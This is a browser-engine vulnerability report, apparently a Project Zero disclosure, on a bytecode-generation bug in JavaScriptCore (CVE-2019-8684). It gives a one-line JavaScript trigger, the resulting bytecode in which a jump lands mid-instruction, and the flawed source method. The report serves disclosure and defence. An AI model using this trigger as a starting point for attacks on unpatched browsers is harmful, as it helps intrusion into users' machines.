JSC suffers from a data mishandling bug in ytecodeGenerator::emitEqualityOpImpl.
95e26e9ed05764f7a136315530609b75JSC: A bug in BytecodeGenerator::emitEqualityOpImpl
Related CVE Numbers: CVE-2019-8684.
PoC:
let a = (1 || typeof 1) === 'string';
Generated bytecode:
<global>#BPmgTo:[0x7ff1965a0000->0x7ff1965a8000, NoneGlobal, 37]: 11 instructions (0 wide instructions, 2 instructions with metadata); 225 bytes (188 metadata bytes); 1 parameter(s); 10 callee register(s); 6 variable(s); scope at loc4
[ 0] enter
[ 1] get_scope loc4
[ 3] mov loc5, loc4
[ 6] check_traps
[ 7] mov loc6, Undefined(const0)
[ 10] resolve_scope loc7, loc4, 0, GlobalProperty, 0
[ 17] mov loc8, Int32: 1(const1)
[ 20] jtrue loc8, 6(->26)
[ 23] is_cell_with_type loc8, Int32: 1(const1), StringType
[ 27] put_to_scope loc7, 0, loc8, 1048576<DoNotThrowIfNotFound|GlobalProperty|Initialization>, 0, 0
[ 35] end loc6
Identifiers:
id0 = a
Constants:
k0 = Undefined
k1 = Int32: 1: in source as integer
k2 = String (atomic) (identifier): string, StructureID: 9553
Here the jtrue instruction is pointing somewhere in the middle of the is_cell_with_type instruction. This is due to the bug in BytecodeGenerator::emitEqualityOpImpl which doesn't consider the case where m_lastOpcodeID is op_end which can indicate that the current position is a jump target. As a result, the method replaced wrongly the typeof instruction with the is_cell_with_type instruction.
Vulnerable method:
bool BytecodeGenerator::emitEqualityOpImpl(RegisterID* dst, RegisterID* src1, RegisterID* src2)
{
if (m_lastInstruction->is<OpTypeof>()) {
auto op = m_lastInstruction->as<OpTypeof>();
if (src1->index() == op.m_dst.offset()
&& src1->isTemporary()
&& m_codeBlock->isConstantRegisterIndex(src2->index())
&& m_codeBlock->constantRegister(src2->index()).get().isString()) {
const String& value = asString(m_codeBlock->constantRegister(src2->index()).get())->tryGetValue();
if (value == \"undefined\") {
rewind();
OpIsUndefined::emit(this, dst, op.m_value);
return true;
}
if (value == \"boolean\") {
rewind();
OpIsBoolean::emit(this, dst, op.m_value);
return true;
}
if (value == \"number\") {
rewind();
OpIsNumber::emit(this, dst, op.m_value);
return true;
}
if (value == \"string\") {
rewind();
OpIsCellWithType::emit(this, dst, op.m_value, StringType);
return true;
}
if (value == \"symbol\") {
rewind();
OpIsCellWithType::emit(this, dst, op.m_value, SymbolType);
return true;
}
if (Options::useBigInt() && value == \"bigint\") {
rewind();
OpIsCellWithType::emit(this, dst, op.m_value, BigIntType);
return true;
}
if (value == \"object\") {
rewind();
OpIsObjectOrNull::emit(this, dst, op.m_value);
return true;
}
if (value == \"function\") {
rewind();
OpIsFunction::emit(this, dst, op.m_value);
return true;
}
}
}
return false;
}
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: [email protected]